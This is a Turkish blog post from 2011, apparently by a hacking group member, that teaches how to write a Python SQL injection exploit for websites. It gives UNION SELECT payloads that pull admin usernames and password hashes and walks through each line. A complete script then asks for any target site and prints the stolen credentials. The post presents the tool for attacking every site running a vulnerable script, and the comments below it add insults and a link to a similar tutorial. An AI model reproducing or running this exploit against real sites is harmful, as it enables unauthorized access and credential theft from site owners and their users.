22 Ağustos 2011 Pazartesi

Exploit Nasıl Yazılır (webapps)

Piton'ca exploit nasıl yazılır :P

Selamun Aleyküm Arkadaşlar.
İçimden bir ses sürekli anlatım yap diyor bende o sese hep kulak veriyorum.
(Bazıları beni ne kadar anlatım yapmaktan vazgeçirmeyi amaçlasa da...)

Sanırım artık bu exploit işlerine bug bulmalara filan pek önem verilmiyor.Neticede exploit-db 1337day gibi siteler var.Herkes pusuda bekliyor ve ilk yayınlanan exploiti yada açığı kapma yarışı başlıyor ki bunlar yanlış şeyler.Yani orada yayınlanmasını bekleyeceğinize sizler birşey bulmalısınız.Genelde zaten çok önemli şeyleri insanlar paylaşmazlar.Yada işte kullanırlar kullanırlar artık son 1-2 site filan kalır öyle paylaşırlar.Sonuçta artık sizin de bir kendinize haydi adamım başlıyalım deyip bir atak yapmanız lazım.Gidip script'leri indirmeniz incelemeniz lazım.Şöyle bakın 2-3 hafta indirin bir inceleyin daha önce incelenmemiş yada bug bulunmamış yada yeni sürüm bir script'i.Elbet birşeyler bulacaksınız.Ve sonra fark edeceksiniz ki sizin o pusuda bekleyip yayınlayanlara ihtiyacınız kalmamış artık onların size ihtiyacı var.Şunu da belirtelim bir exploit yazarken işte bug bulurken yada bir sistem kodlarken birşeyler yaparken ingilizce çok önemlidir.En azından orta seviye bir ingilizceniz olursa daha iyi ilerleme gösterirsiniz.Yani adamın hiç ingilizcesi yok bu exploiti 5 haftada yazamaz ama sizin var en fazla 1 hafta oda işte 7/24 bu exploit ile uğraşacak haliniz yok arada kapatırsın hack yaparsın canın yazmak istemez vsvs..

Şimdi fazla dağıtmadan konuya gelelim yoksa ben 3-5 sayfa konusurum...
Bizim yazacağımız exploitler daha web tabanlı.Yani onun dışında remote exploitler filan var onların yazılması başka birşey zaten :) (enteresting)

Bizim yazacağımız bir sql(esquel injekşın) exploit'idir...
elimde bulunan bir sql exploit vardı öyle yazık duruyordu bende onun üzerinden anlattım.
Daha önce script'te sql bug nasıl bulunur onu anlatmıştım pek görülmedi yada ilgi gösterilmemiştir belki de kim bilir...


merak edenlere tekrar link(olursa oda) : http://www.darkdevilz.in/forum/scrip...ma-t18500.html
Şimdi diyelim bug'u bulduk ve bu script'i kullanan bütün sitelerde bu açık var.
Ve hepsinde atıyorum hani kafadan salladım.
User İçin : +union+select+1,username,4,5,6,7,8,9,10+from+admin
Pass İçin : +union+select+1,passwd,4,5,6,7,8,9,10+from+admin
Yaptığınızda ekrana user ve pass geliyor.
Şimdi buna nasıl python ile exploit yazabiliriz onun anlatımını yapıcam.
Gerekenler:
Bir adet python :) (Ben 2.7 kullanıyorum.)
Bir adet sql açıklı site.
Ve tabi ki bir adet paparosse.
Şimdi siteyi
xsitex.com/index.php?id=1 olarak kullanıcam siz exploit'teki
yerleride doğal olaraktan düzenliyeceksiniz.
http://xsitex.com/index.php?id=1+uni...,10+from+admin
http://xsitex.com/index.php?+union+s...,10+from+admin
ben exploiti zaten yazdım :P onun üzerinden nerelerde ne kullandık ne ne işer yarıyorda onu kullandık direk açıklıcam.Ama eğer hiçbir bilginiz yoksa doğal olarakta zorlanacaksınız.Konunun en altında exploiti paylaştım toplu düzenli olarak...

Şimcik...

Şimdi ilk olarak şöyle bir kod koyuyoruz başa.

#!/usr/bin/env python
#-*- coding:cp1254 -*-

Bu pythonun hangi sistemde kodlandığını anlatır.
#-*- coding:utf-8 -*-
yapsaydık linux filan olurdu...
#!/usr/bin/env python
Kısmı ise python'da kodlandığını belli eder yani python'ı açtığınızda bu pitonca yapılmış açılmasına izin vereyim der .)

İlk bunu anlatak.

2

Şimdi görüldüğü gibi env python and cp1254 kısmını görüyorsunuz.
Onun alt kısmında import demişim re ve urllib2 demişik.
Bunlar ne onu bir açıklayım.
import kısmında kullacağımız modülleri belirtiyoruz.Yani programı açarken ben kodlamasında şu şu şu modülleri kullandım ona göre ben programı açınca onları çağır demek anlamına geliyor.
Modüller belirli python kodlarıdır.Yani gidip xxx.py dosyasının(modül olduğunu düşünün)içeriğini alıp koymak yerine direk olarak oradan xxx.py üzerinden kullanıyoruz zaten.
Örnek olarak orada re modulünü kullanmışırız.Bu re modulü D:\Python27\Lib\re.py şeklindedir.
Ama biz import re dersek direk olarak re'yi çağırmış oluyoruz.
Re.py dosyasının içeriğine bakarsanız işte karakterler filan görünür biz bunu ekrana gelen belirli yazıları almak için kullanıcaz onu açıklıcam o kısma gelince.
Birde urllib2 demişiz.Bunude urllib2 dosyasının içine bakarsanız şöyle birşey görürsünüz.
f = urllib2.urlopen('http://www.python.org/')
Burada diyor işte f değişkeni yapmmış sonra url olduğunu belirtmiş aç bunu demiş.Yani bu modülüde url'ler için kullanıyoruz.O kısımda bunuda anlatıcam biraz saçma anlattım orada detaylı anlatıcam...

2

şimdi
zite = raw_input("Bir site adi giriniz\n")
demişim.Raw_input kullanıcı ile veri alışverişi yapmamızı sağlamaktadır.sonra bunu zite değişkenine atamışız neden zite yapmışım acep bende bilemiyorum ^^
yani siz bir site girdiğinizde bu raw_input() tarafından alınacak ve kodlarda zite yazdığm her yerde sizin girdiğiniz site ismi çıkacaktır.("") kısmında ise ekrana gelecek olan yazıyı belirmişim \n yapmışım yani bir alt satıra geç anlamında.
şimdi şöyle birşey yapmışım;

siteacikkismi = "index.php"
username = "?id=1+union+select+1,username,4,5,6,7,8,9,10+from+admin"
final = "http://" + zite +"/"+ siteacikkismi + username

Açıklayalım...
siteacikkismi adında bir değişken yapıp index.php ile doldurmuşuz sonra,
username yapıp id=1+union+select+1,username,4,5,6,7,8,9,10+from+admin ile,
doldurmuşuz.(siz buraları kendinize göre yapacaksınız)
Yani username yazılan heryerde id=1+union+select+1,username,4,5,6,7,8,9,10+from+admin görülecek,
siteacikkismi yazan heryerde ise index.php.
Sonra şöyle birşey yapmışız.
final = "http://" + zite +"/"+ siteacikkismi + username
Burada hepsini final adında bir değişkene atamışız ve http ekle ardında zite yani sizin girdiğiniz site adresini ekle sonra siteacıkkızmi yani index.php'yi filan sonra username yani username kısmı.
Bunlar python ile birleştiğinde olusan sonuç
http://xsitex.com/index.php?id=1+uni...,10+from+admin
olacaktır.

Sonra print "\nBekle bakam geliyor." bekle bakam geliyor yazmışım print ekrana yazdırdemek zaten ekrana neyin yazılacağını anlatıyor.
Bu olaylar olduktan sonra ekrana Bekle bakam geliyor. yazdır.

2

Şimdi ilk olarak try demişiz sonrada except.
try ve except hata ayıklamak için kullanılır.
şimdi biraz başa dönelim bildiğiniz gibi esquel injekşın bir hatadır yani ekrana gelen hatalar sonucunda oraya çıkmaktadır.Veri tabanında oluşan hatalardır.İşte filtreleme filan yapılmassa bızıt bızıt orayı geçiyorum.
Yani diyoruzki alt kısımda belirticez bu hataları bana ayır bende kalsın .p
Sonra şöyle birşey demişiz.

esquelbak = urllib2.urlopen(final).read()
bak = re.search(":::([0-9a-z](.*)):::",esquelbak).group().replace(":::", "")

burada esquelbak adında bir değişken atamışız yani url içinde ara tipinde birşey.
sonra bak demişiz ve hata ile ekrana gelen 0'dan 9'a - a'dan z'ye kadar olan herşeyi ayır demişiz.
Ama ondan önce ":::([0-9a-z](.*)):::" demişiz.Sonra
esquelbak).group().replace(":::", "")
::: noktaları ayır bana iç tarafını ver.
Konunun en sonunda nasıl kullanılacağını anlattım.
Bunu işte ekrana !'^+%&/()=? gibi ekrana gelenleri ayırmak için kullanıyoruz.
Genelde zaten md5 olarak gelir md5lerdede böyle birşey söz konusu değildir.

Sonra
if bak != "":
print "UserNeym", bak
else:
print "esquel yok canim."

if demişiz yani ayıkladıklarını al userneym : yap ekrana ver.Sonrada else demişiz bu durumun dışında kalan her durum için esquel yok yaz.
Sonra
except urllib2.HTTPError:
print "Hata olustu..."

Demişiz yani eğer urllib2'de işte http hatası http girersin filan diye gelecek hata.

Sonra pass kısmı diyoruz.
bu kısımda ise aynen username ile yaptıklarımızı yapıyoruz amaaaaaa password olanını.

2

burada aynı mantık söz konusudur.İşte ekrana verir ::: ayıklar print der password olarak verir.
yani usernama kımının kopyası :)

Siz atıyorum
http://xsitex.com/index.php?id=1+uni...8,9+from+admin
gibi birşey bulursuuz yani username ve password aynı anda aynı adres üzerinden 3 - 4 olarak çekiliyor ise sadece username kısmını kullanabilirsiniz.Yada user'a;
http://xsitex.com/index.php?id=1+uni...8,9+from+admin
Dersiniz Pass'a ise:
http://xsitex.com/index.php?id=1+uni...8,9+from+admin
dersiniz böylece gene 2 kısım olarak ekrana gelecektir.

#!/usr/bin/env python
#-*- coding:cp1254 -*-
import re, urllib2
print "Mr.PaPaRoSSe / DarkDevilZ.İn \nhttp girmeden"
zite = raw_input("Bir site adi giriniz\n")
#Userin cekilecegi kisim
siteacikkismi = "index.php"
username = "?id=1+union+select+1,username,4,5,6,7,8,9,10+from+admin"
final = "http://" + zite +"/"+ siteacikkismi + username
print "\nBekle bakam geliyor."
try:
esquelbak = urllib2.urlopen(final).read()
bak = re.search(":::([0-9a-z](.*)):::",esquelbak).group().replace(":::", "")
if bak != "":
print "UserNeym", bak
else:
print "esquel yok canim."

except urllib2.HTTPError:
print "Hata olustu..."
#pass'in gelecegi kisim
siteacikkismi = "index.php"
passwordesaldiri = "?id=1+union+select+1,passwd,4,5,6,7,8,9,10+from+admin"
final = "http://" + zite +"/"+ siteacikkismi + passwordesaldiri
try:
esquelbak = urllib2.urlopen(final).read()
bak = re.search(":::([0-9a-z](.*)):::",esquelbak).group().replace(":::", "")
if bak != "":
print "Password:", bak
else:
print "Sql olmadi"

except urllib2.HTTPError:
print "Hata olustu..."

?id=1+union+select+1,passwd,4,5,6,7,8,9,10+from+admin
ve ::: mantığı için şu şekilde yapmanız lazım;
?id=1+union+select+1,concat%280x3a3a3a,username,0x3a3a3a%29,4,5,6,7,8, 9,10+from+admin
yani username'den önce ::: ve sonra ::: böylece içindeki kısım alınacak.
olmayacak gideceksiniz işte contat yapacaksın nasıl okunuyor acaba :D sonra başka şeylerde yapacaksınız.
Yani bu mantık..
#Sonuç
Evet arkadaşlar umarım anlamışsınızdır.
Anlatımı fazla sıkıcı yapmamak için biraz aralarda enteresan cümleler kurdum :)
Nedeni belli hani gelsem robot gibi cümleler kursam okurken sıkınlırsınız.
Uğraştım,1-2 kişinin bakıp birşeyler kapması benim için yeterlidir.Netici de ne zaman exploit kullansalar papa anlatım yapmıştı dicekler :D
Konu benim olduğu için istediğim kadar konusuyorum :D
Haydi Selametle / Gene Mr.PaPaRoSSe
Ve Tabi ki DarkDevilZ.İn

4 yorum:

  1. uzun zamandır python açmamıştım sanırım beni tetikledin pythona bişiler yapmaya :)
    güzel paylaşım eline emeğine sağlık. copypaste yaparım bunu haberin olsun kardeş ;)
    www.bytetcon.blogspot.com

    YanıtlaSil
  2. Peki bu diğer dilerdede geçerlimi

    YanıtlaSil
  3. O kadar ahmak bir şekilde anlatmışsın ki ordan oraya burdan buraya zıplamışsın else den once 2. Seçenek elif koymayıp direk elseye varman daha baştaki modulleri girerken neye gore sectini anlatmadan direkt olarak seçime gelmen çok saçma anlatımın sıfır(0).siktir git iyicene kendini gelistir sonra konuş kötüsünüz gidinde azcık b0ru70 i felan izleyin

    YanıtlaSil
  4. Beyler şu aptal bi bok bilmeyen malı dinlicenize
    https://www.turkhackteam.org/python/1727579-python-ile-exploit-yazmak.html
    Alın şu konuya bakın adamlar neyin ne işe yaradıgınıda anlatmış bunun gibi direk olaya girmemiş aptal sorsam şu modulun anlamı ne bilmez ahmak.

    YanıtlaSil